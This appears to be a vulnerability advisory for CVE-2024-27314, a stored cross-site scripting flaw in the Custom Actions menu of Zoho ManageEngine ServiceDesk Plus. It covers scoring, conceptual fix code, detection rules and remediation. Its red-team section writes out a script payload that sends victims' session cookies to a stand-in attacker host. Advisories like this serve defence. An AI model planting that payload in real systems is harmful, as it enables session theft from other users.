CVE-2024-27314

Executive Summary

CVE-2024-27314 is a stored cross-site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus, ServiceDesk Plus MSP, and SupportCenter Plus. The flaw resides in the Custom Actions menu on the request details page. Only users with the SDAdmin role can exploit this vulnerability, which significantly reduces the attack surface but still poses a risk for privilege escalation or lateral movement within the application. The CVSS score is 2.4 (Low), reflecting the high privileges required and the need for user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating a very low probability of exploitation in the wild. However, given the administrative privileges required, this vulnerability should be prioritized for patching to prevent potential internal threats.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Zoho ManageEngine product.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N
• Base Score: 2.4 (Low)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have SDAdmin role privileges.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view the request details).
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): None (N) – No data integrity impact.
• Availability (A): None (N) – No availability impact.

Threat Level: Low. The requirement for SDAdmin privileges and user interaction significantly limits the exploitability. However, in a multi-tenant or MSP environment, a malicious admin could target other admins or users.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the Custom Actions menu. The Custom Actions feature allows administrators to define custom scripts or actions that can be executed on request details. Due to improper input sanitization, an SDAdmin can inject malicious JavaScript code into the Custom Actions configuration. When another user (including other admins) views the request details page, the injected script executes in their browser context.

Attack Flow:

1. An attacker with SDAdmin privileges navigates to the Custom Actions configuration.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a field that is not properly sanitized.
3. The payload is stored in the database.
4. When a victim (another admin or user) views the request details page, the payload is rendered and executed.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of output encoding or input validation in the Custom Actions menu fields.

Vulnerable vs. Patched Code

Since no patch details are available, we can only infer the fix. The vulnerable code likely does not sanitize user input before storing it in the database or rendering it in the browser.

Vulnerable Code (Conceptual):

// Server-side: Storing user input without sanitization
function saveCustomAction(actionName, script) {
    db.query("INSERT INTO custom_actions (name, script) VALUES (?, ?)", [actionName, script]);
}

// Client-side: Rendering the script without encoding
function renderCustomAction(actionId) {
    var action = db.query("SELECT script FROM custom_actions WHERE id = ?", [actionId]);
    document.getElementById("customActionContainer").innerHTML = action.script;
}

Patched Code (Conceptual):

// Server-side: Sanitize input before storing
function saveCustomAction(actionName, script) {
    var sanitizedScript = sanitizeHtml(script); // Use a library like DOMPurify
    db.query("INSERT INTO custom_actions (name, script) VALUES (?, ?)", [actionName, sanitizedScript]);
}

// Client-side: Use textContent instead of innerHTML
function renderCustomAction(actionId) {
    var action = db.query("SELECT script FROM custom_actions WHERE id = ?", [actionId]);
    document.getElementById("customActionContainer").textContent = action.script;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Zoho ManageEngine instance with SDAdmin privileges.
• A target user who will view the request details page.

Steps:

1. Log in as an SDAdmin.
2. Navigate to the Custom Actions configuration (e.g., /customactions).
3. Create a new custom action with a malicious payload. For example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the action.
5. Wait for a victim to view the request details page where the custom action is displayed.
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Note: Since no public exploit code is available, this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual changes to Custom Actions by SDAdmin users.
• Look for outbound connections to unknown domains from the ManageEngine server.
• Use web application firewalls (WAF) to block common XSS payloads.

Hunting:

• Search logs for POST requests to /customactions with suspicious payloads.
• Review database entries in the custom_actions table for script tags.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar.
  • Unusual Referer headers pointing to /customactions or request details pages.
• Host:
  • Modified entries in the custom_actions table in the ManageEngine database.
  • Log entries showing creation of custom actions by non-standard users.
• File:
  • No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_27314_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Zoho ManageEngine Custom Actions"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-27314"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+["']?/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2024-27314 Stored XSS in Custom Actions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of custom actions with XSS payloads
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/customactions'
        cs-uri-query|contains: 
            - '<script'
            - 'onload'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom actions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27314 Stored XSS in Custom Actions"; flow:to_server; content:"POST"; http_method; content:"/customactions"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to the latest patched version (14730 for ServiceDesk Plus, 14720 for ServiceDesk Plus MSP and SupportCenter Plus) as soon as it becomes available.
2. If patching is not possible, restrict SDAdmin privileges to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block common XSS payloads in the Custom Actions endpoint.

Long-term Measures:

• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits of custom features.
• Monitor for unusual activity in the Custom Actions logs.

Workaround:

• Disable the Custom Actions feature if not required.

Valters IT – DevSecOps & Cyber Threat Intelligence Expert